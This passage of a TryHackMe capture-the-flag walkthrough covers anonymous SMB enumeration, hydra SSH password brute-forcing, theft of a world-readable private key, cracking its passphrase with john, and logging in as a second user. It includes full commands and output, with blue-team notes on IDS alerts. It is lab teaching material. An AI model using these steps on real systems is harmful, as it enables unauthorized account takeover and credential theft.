[+] Attempting to map shares on 10.10.182.65 //10.10.71.104/Anonymous Mapping: OK Listing: OK Writing: N/A
We can see that there is a share with the name "Anonymous"
Further down the output we can see some useful usernames
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
Some key takeaways;
- The Men in Black connection was probably indeed a rabbit hole.
- The two users usernames are "kay" and "jan".
- We know from the note left to "J" from "K" that jan has bad password hygiene.
Lets connect to the share to see if there are any files we could use.
smbclient //TARGET_IP/Anonymous
Password for [WORKGROUP\kali]: (NO PASSWORD JUST PRESS ENTER)
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Apr 19 18:31:20 2018
.. D 0 Thu Apr 19 18:13:06 2018
staff.txt N 173 Thu Apr 19 18:29:55 2018
14318640 blocks of size 1024. 10822648 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0.8 KiloBytes/sec) (average 0.8 KiloBytes/sec)
smb: \> exit
Now read the downloaded staff.txt file locally.
less staff.txt
Announcement to staff:
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)
-Kay
staff.txt (END)
Some takeaways;
- there are names in the file (Could they be usernames?)
- The share is possibly writeable (Could test file upload)
Blue Team (supplemental)
What is the username?
There are a few options to enumerate SMB, you could use nmap
NSE scripts or use enum4linux
as exemplified above.
Opnsense does detect some of the enumeration (only 1 alert)
enum4linux -a TARGET_IP
Detection

1.6 What is the password?
(AUTHER HUNT What about using a tool like hydra to bruteforce?)
Red Team
The definition of (in)sanity
We will now move to a more active phase in the pentest lifecycle. Based on the clues left above we will use hydra
to attempt to log into the jan user account via SSH (as we know port 22 is open).
We will now attempt to log into the machine with hydra
, a brute force login application.
Replace TARGET_IP with your targets IP
hydra -l jan -P /usr/share/wordlists/rockyou.txt TARGET_IP ssh
Tools and flags explanation
hydra
Hydra is used to brute force log into different services, web, ssh, smb, etc.
-l jan
Lower case L is the user field provided through the terminal in this case jan
, capital L -L
would be usernames from a file.
-P /usr/share/wordlists/rockyou.txt
Capital P tells hydra to pull the passwords from a file, in this case the rockyou file.
TARGET_IP
The target we are attacking.
ssh
The protocol we are attacking, in this case SSH, on the default port 22.
Meta-point
During CTFs trying hydra
or brute force login in general, is in most cases a last resort, and if hinted at doesn't take more than 10-15 minutes for a successful login. If it doesn't work after some time try further user enumeration or there may be another way into the target.
Command result
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-05 18:37:47
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1699282 login tries (l:1/p:1699282), ~106206 tries per task
[DATA] attacking ssh://TARGET_IP:22/
[STATUS] 166.00 tries/min, 166 tries in 00:01h, 1699117 to do in 170:36h, 15 active
[22][ssh] host: TARGET_IP login: jan password: (REDACTED)
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-05 18:39:18
Now we have SSH access to a user on the box. Lets login and further enumerate.
Blue Team (supplemental)
What is the password?
The hydra
brute force attempt is quite loud.
hydra -l jan -P /usr/share/wordlists/rockyou.txt TARGET_IP ssh
Opnsense raised 44 alerts for this attack (this will vary based on where in the rockyou.txt the password is). Most are high priority "BruteForce Attack" alerts.

1.7 What service do you use to access the server(answer in abbreviation in all caps)?
You can now log in with the jan account via SSH with ssh jan@TARGET_IP
and the password brute forced with hydra in the last step.
$ ssh jan@TARGET_IP
...
jan@TARGET_IP's password:
...
jan@basic2:~$
1.8 Enumerate the machine to find any vectors for privilege escalation
(AUTHER HINT use a privilege escalation checklist or tool like LinEnum)
Linux Local Enum
Some common enumeration commands are:
whoami
prints the current user (jan is expected as that's the user you SSHed in as)ls /home/*
lists the directories under the /home/ directory (Linux is quite strict with the drectrory layout for more info see this)sudo -l
checks what commands the current user can run as rootcat /etc/crontab
get the contents of the crontab filecrontab
get the crontab information for the current user (can be different to what's in /etc/crontab)cat /etc/passwd
get the users (and if you're very lucky a password hash)env
get the current users terminal environment variableslsb_release -a
get info on the Linux flavouruname -a
get info on the kernel
From the results of the above commands we can confirm a few things.
- The OS version guessed earlier is indeed correct it's Ubuntu 16.04
lsb_release -a
anduname -a
- There are two user home directories
ls /home/*
Lets take a closer look at the other users home directory.
ls -al /home/kay/
Command output
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw------- 1 kay kay 756 Apr 23 2018 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwx------ 2 kay kay 4096 Apr 17 2018 .cache
-rw------- 1 root kay 119 Apr 23 2018 .lesshst
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw------- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw------- 1 root kay 538 Apr 23 2018 .viminfo
Here we can see some interesting things;
Keys home directory is world readable (denoted by the first line) see here for an explanation of Linux file permissions.
More importantly Kay's SSH key might be world readable. The .ssh
directory (denoted by the d
in the first column drwxr-xr-x
).
That pass.bak file looks mighty interesting. However we can't read it. The permissions would only allow the kay user to read it (implicitly the root "user" can also read it, as file permissions don't effect root).
Side note SSH can authenticate in two modes password or key based. We've already done password authentication in this room by logging in to jan's account. We could also use a cryptographic key to log into the server.
Testing kay's keys
ls -alh /home/kay/.ssh/
Command output
total 20K
drwxr-xr-x 2 kay kay 4.0K Apr 23 2018 .
drwxr-xr-x 5 kay kay 4.0K Apr 23 2018 ..
-rw-rw-r-- 1 kay kay 771 Apr 23 2018 authorized_keys
-rw-r--r-- 1 kay kay 3.3K Apr 19 2018 id_rsa
-rw-r--r-- 1 kay kay 771 Apr 19 2018 id_rsa.pub
Bingo kay's id_rsa file is world readable. The id_rsa file is the private key SSH uses to authenticate a user when they log in. Lets loot this file.
cat /home/kay/.ssh/id_rsa
command output
----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
(REDACTED)
-----END RSA PRIVATE KEY-----
It seems the id_rsa is encrypted, after scolding Jan for bad password hygiene Kay would certainly have only the longest most complex passwords for everything, right?

Drag across the whole contents of the file in the terminal, like above (ending at the last highfin). Copy the contents of the RSA file starting and ending like the example above (to copy out of a terminal press shift+ctrl+c. Paste the contents of the id_rsa file into a file on your local Kali instance.
On your Kali box runvi id_rsa
Once in the terminal press i
to get to insert mode then shift+ctrl+v to paste into the file. Press the escape key to exit out of interactive mode and then type :x and press enter to save and quit. Congrats you've survived Vim.
Now we will transform it to something Johntheripper can understand so we can crack it's password. To get a better understanding of Johntheripper have a look at the THM room.
ssh2john id_rsa > hash.txt
Is a command that will transform a SSH key file to something johntheripper can understand. It'll take id_rsa as an input and output it to a file called hash.txt.
Now crack the hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john
The password hash cracking application we will be using to crack the hash
--wordlist=/usr/share/wordlists/rockyou.txt
The same rockyou wordlist from before.
hash.txt
The input hash file to crack.
Command output
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
(REDACTED) (id_rsa)
1g 0:00:00:00 DONE (2022-06-05 19:21) 9.090g/s 752290p/s 752290c/s 752290C/s betzabeth..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Now we have the id_rsa password so we can login right? Not so fast, first change the user permissions of the id_rsa file.
chmod 600 id_rsa
This will change the permissions of the file so only the owner has read and write access.
Now to connect.
ssh -i id_rsa kay@TARGET_IP
Enter the password for the id_rsa file when prompted.
$ ssh -i id_rsa kay@TARGET_IP
Enter passphrase for key 'id_rsa': (RETACTED PASSWORD HERE)
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Mon Apr 23 16:04:07 2018 from X.X.X.X
kay@basic2:~$
1.9 What is the name of the other user you found(all lower case)?
The result of ls /home/*
on the target machine
1.10 If you have found another user, what can you do with this information?
(AUTHER HINT apart from a password, how else can a user access a machine?)
SSH into the machine with the SSH key method outlined above.
1.11 What is the final password you obtain?
Once logged in as kay
ls
pass.bak
less pass.bak
(REDACTED)
Remember shift+ctrl+c to copy from a terminal to paste into THM.
Final thoughts
Congratulations you have successfully completed a CTF on TryHackMe.
Some ruminations on this room, it was quite fun to create this guide. Creating the simulated box internally was a lot of pain fun, learning how to build all the services (Apache httpd, Tomcat, and Samba) from source as Ubuntu 16.04 is EOL was interesting. In future I would like to automate the process, something like parse packages and version numbers out of an nmap
scan and have Python or Ansible provision a VM. I hope this guide can form a tiny bridge between the "Red Team" and "Blue Team" mindsets. If you have any feedback feel free to ping me on Discord or send me an email.
Links
THM Basic Pentesting Room
https://tryhackme.com/room/basicpentestingjt
THM Linux Room
https://tryhackme.com/room/linuxfundamentalspart1
Cyber Kill Chain
https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html
Explain Shell
https://explainshell.com/
THM connection guide
https://tryhackme.com/room/tutorial
THM Nmap guide
https://tryhackme.com/room/furthernmap
SSH Version
https://launchpad.net/ubuntu/xenial/amd64/openssh-server/1:7.2p2-4ubuntu2.4
SSH CVEs
https://www.exploit-db.com/exploits/40136
Apache httpd Vulnerabilities
https://httpd.apache.org/security/vulnerabilities_24.html
Samba vulnerabilities
https://lists.samba.org/archive/samba/2017-May/208508.html
Apache Tomcat Vulnerabilities
https://attackerkb.com/topics/d2JuHrukTy/cve-2018-1336/vuln-details?referrer=search
Apache Jserv Vulnerabilities
https://medium.com/@sushantkamble/apache-ghostcat-cve-2020-1938-explanation-and-walkthrough-23a9a1ae4a23
No Longer Friends with pfSense
https://whyitno.work/migrating-from-pfsense-to-opnsense/
IDS Definition
https://en.wikipedia.org/wiki/Intrusion_detection_system
THM Friewall room
https://tryhackme.com/room/redteamfirewalls
THM Suricata room (Not available yet)
https://tryhackme.com/room/btsuricata
Nmap Book Ref
https://nmap.org/book/synscan.html
Suricata Rules
https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html
Nmap -sN explanation
https://nmap.org/book/scan-methods-null-fin-xmas-scan.html
Security Onion
https://securityonionsolutions.com/
Opnsense IPS supported devices
https://www.freebsd.org/cgi/man.cgi?query=netmap&sektion=4&manpath=FreeBSD+12.1-RELEASE+and+Ports#SUPPORTED_DEVICES
Seclists
https://www.kali.org/tools/seclists/
HTTP Codes
https://developer.mozilla.org/en-US/docs/Web/HTTP/Status
Linux File Structure
https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard
Linux File Permissions
https://linuxize.com/post/understanding-linux-file-permissions/
THM Johntheripper Room
https://tryhackme.com/room/johntheripper0